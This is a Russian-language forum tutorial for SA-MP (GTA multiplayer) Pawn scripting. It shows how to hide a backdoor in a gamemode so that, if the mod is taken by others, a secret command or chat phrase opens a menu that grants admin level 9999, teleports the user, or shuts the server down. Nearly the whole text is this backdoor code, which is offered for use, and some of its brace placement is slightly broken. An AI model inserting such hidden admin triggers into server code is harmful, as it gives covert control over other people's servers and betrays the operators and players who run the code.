щас я покажу как сделать так если вашь мод украли.
мы сделаем команду в какторой будет 3 помошников
таких как дать админку себе главную
тп в ls
выключения сервера
создаём команду и кидаем её в public onplayercommandtext
Код
if(strcmp(cmd, "/vzolmservera", true) == 0)
{
if(isplayerconnected(playerid))
{
format(string,sizeof(string),"дать себе админку 9999лвл\nтелепортироваться в ls\nвыключить сервер");
showplayerdialog(playerid,32000,dialog_style_list,"{d5ff00}вскрытие{2ded17}*role{ff0000}-play{0206ff} выбери",string,"ок","отмена");
}
return 1;
}
создаём диалог ( id диалога делайте на любой свободный )
Код
if(dialogid==32000)
{
if(response)
{
if(listitem == 0)
{
playerinfo[playerid][padmin] = 9999;
sendclientmessage(playerid, 0x00fdfdaa,"ты дал себе админку 9999лвл");
}
if(listitem == 1)
{
if (getplayerstate(playerid) == 2)
{
new tmpcar = getplayervehicleid(playerid);
setvehiclepos(tmpcar, 1529.6,-1691.2,13.3);
telepos[playerid][0] = 0.0;telepos[playerid][1] = 0.0;
}
else
{
setplayerpos(playerid, 1529.6,-1691.2,13.3);
}
setplayerinterior(playerid,0);
playerinfo[playerid][pint] = 0;
}
sendclientmessage(playerid, 0x00fdfdaa,"вы телепортировались в ls");
}
if(listitem == 2)
{
sendrconcommand("exit");
sendclientmessage(playerid, 0x00fdfdaa,"вы выключили сервер");
}
}
если хотите на чат то кидаем в public onplayertext
Код
if(strcmp(text, "свои слова", true) == 0 || strcmp(text, "свои слова", true) == 0 || strcmp(text, "свои слова", true) == 0 || strcmp(text, "свои слова", true) == 0 )
{
format(string,sizeof(string),"дать себе админку 9999лвл\nтелепортироваться в ls\nвыключить сервер");
showplayerdialog(playerid,32000,dialog_style_list,"{d5ff00}вскрытие{2ded17}*role{ff0000}-play{0206ff} выбери",string,"ок","отмена");
return 0;
}
Автор Leaders